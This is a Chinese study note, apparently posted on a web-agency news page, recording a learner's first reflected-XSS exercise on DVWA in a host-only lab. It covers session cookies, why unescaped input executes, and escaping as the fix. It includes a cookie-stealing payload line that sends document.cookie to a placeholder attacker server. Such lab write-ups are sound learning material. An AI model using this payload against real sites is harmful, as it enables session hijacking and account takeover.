ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

我的第一个 XSS:从 alert(1) 到偷 Cookie

我的第一个 XSS:从 alert(1) 到偷 Cookie 学习笔记 · 2026-10-06 · 靶场Metasploitable2 DVWA v1.0.7VMware 仅主机网络一、先说清楚什么是 Cookie为什么它值钱Cookie 对每个账号登录是非常重要的。登录成功后服务器会给你的浏览器发一张通行证——PHPSESSID。之后你每次访问这个网站浏览器都会自动把它带上服务器据此认出这是刚才登录的那个人。所以攻击者真正想要的目标从来不是密码而是这张能代替密码的凭证。因为密码需要用户配合输入Cookie 只需要一次偷到手之后就是拿着你的钥匙进你家。二、XSS 是什么原理我自己的理解是把 URL 里的参数改成能被 HTML 识别的标签服务器接收后原样搬运回页面浏览器就把它当成网站自己的代码执行。这里面要理解两层第一层服务器为什么会原样搬运 因为它犯了一个错——把用户输入直接拼进 HTML。DVWA low 级的源码就是一行$_GET[‘name’] 是用户的输入它前面没有任何过滤。想在页面上显示什么就直接塞进去了。第二层浏览器为什么会执行它 这里有个关键认知是我这次学得最透的一点服务器从头到尾没有执行任何代码它只是个搬运工。真正执行代码的是受害者的浏览器。三、实战记录实验一证明漏洞存在在 XSS (Reflected) 页面输入页面弹出对话框 “192.168.136.128 说1”。这一步只是 PoC漏洞存在证明它不造成任何实际危害。实验二证明真实危害把 payload 换成弹窗内容这个 PHPSESSID 就是我自己的会话凭证被 JS 明文读了出来。 如果这段代码不是弹窗显示而是发到攻击者自己的服务器img src“http://攻击者服务器/?c”document.cookie那攻击者就拿到了我的登录态——他不用知道我的密码直接拿着这串 ID 就能以我的身份登录。实验三转义与判定当我把同样的 提交到做了转义处理的页面时页面上原样显示了这行文字没有弹窗。原因是服务器把 转成了 ——代码还是那串代码但它已经失去了标签的身份变成了普通文字。这让我总结出 XSS 成立的三个必要条件用户输入被拼进 HTML输出时没有做转义有用户访问了这个构造好的 URL第 3 条是反射型特有的约束——它需要骗人点击。这也是它通常被定为中危而存储型写进数据库、每个访客自动中招定为高危的原因。四、这种漏洞一般出现在哪规律很清晰只要用户输入会被服务器抄回页面的地方都可能中招。搜索框搜不到时页面显示没有找到 XXXXXX 没过滤就是漏洞错误提示回显把 URL 参数原样放进提示信息里留言板、评论区、个人昵称/签名存储型危害最大HTTP 头回显后台把 User-Agent / Referer 记进访问日志页面五、复盘这次学习让我纠正了自己两个想当然的认知我一直以为服务器返回了用户数据——其实服务器是被利用的搬运工数据是被 JS 主动偷走的不是返回给谁。我以为漏洞就是改改 URL 参数——其实难点不在 payload在传播要构造一个 URL 并让受害者点击反射型 XSS 是社交工程 技术手段的组合。这正好也提醒我学漏洞不能只学怎么打还要知道成因在哪、怎么修、真实场景里长什么样。只有能写出修复建议报告才算完整。【以上是个人观点仅供参考】
返回列表